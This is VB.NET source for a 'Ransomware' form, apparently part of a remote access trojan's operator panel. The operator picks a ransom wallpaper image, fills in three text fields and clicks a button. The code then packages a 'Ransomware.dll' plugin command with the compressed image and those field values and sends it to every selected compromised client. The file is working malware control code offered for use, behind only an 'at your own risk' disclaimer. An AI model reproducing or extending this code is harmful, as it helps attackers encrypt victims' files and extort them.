Imports System.Threading
Public Class Ransomware

    Dim Path As String
    Private Sub Ransomware_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        ToolStripStatusLabel1.Text = "Selected [" & Main.Lv1.SelectedItems.Count & "]"
        Try
            Path = "Background.png"
            PictureBox1.Image = Image.FromFile(Path)
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Private Sub PictureBox1_MouseClick(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseClick
        Dim openFileDialog As OpenFileDialog = New OpenFileDialog()
        Dim openFileDialog2 As OpenFileDialog = openFileDialog
        openFileDialog2.Title = "Select Image"
        openFileDialog2.Filter = "(*.jpg;*.bmp;*.png)|*.jpg;*.bmp;*.png"
        Dim flag As Boolean = openFileDialog.ShowDialog() = DialogResult.OK
        If flag Then
            Path = openFileDialog.FileName
            PictureBox1.Image = Image.FromFile(Path)
        End If
    End Sub

    Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
        Dim result As Integer = MessageBox.Show("This Feature Is At Your Own Risk And I Am Not Responsible For Your Actions , Do You Want Continue ?", Text, MessageBoxButtons.YesNo)
        If result = DialogResult.Yes Then
            Try
                Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Ransomware.dll") & SettingsHelper.SPL & "True" & SettingsHelper.SPL & Convert.ToBase64String(Compress(IO.File.ReadAllBytes(Path))) & SettingsHelper.SPL & Guna2TextBox1.Text & SettingsHelper.SPL & Guna2TextBox2.Text & SettingsHelper.SPL & Guna2TextBox3.Text)
                For Each C As Client In Main.GetSelectedClients
                    ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
                Next
                MessageBox.Show("DONE!")
                Close()
            Catch ex As Exception
                MessageBox.Show(ex.Message)
            End Try
        End If
    End Sub
End Class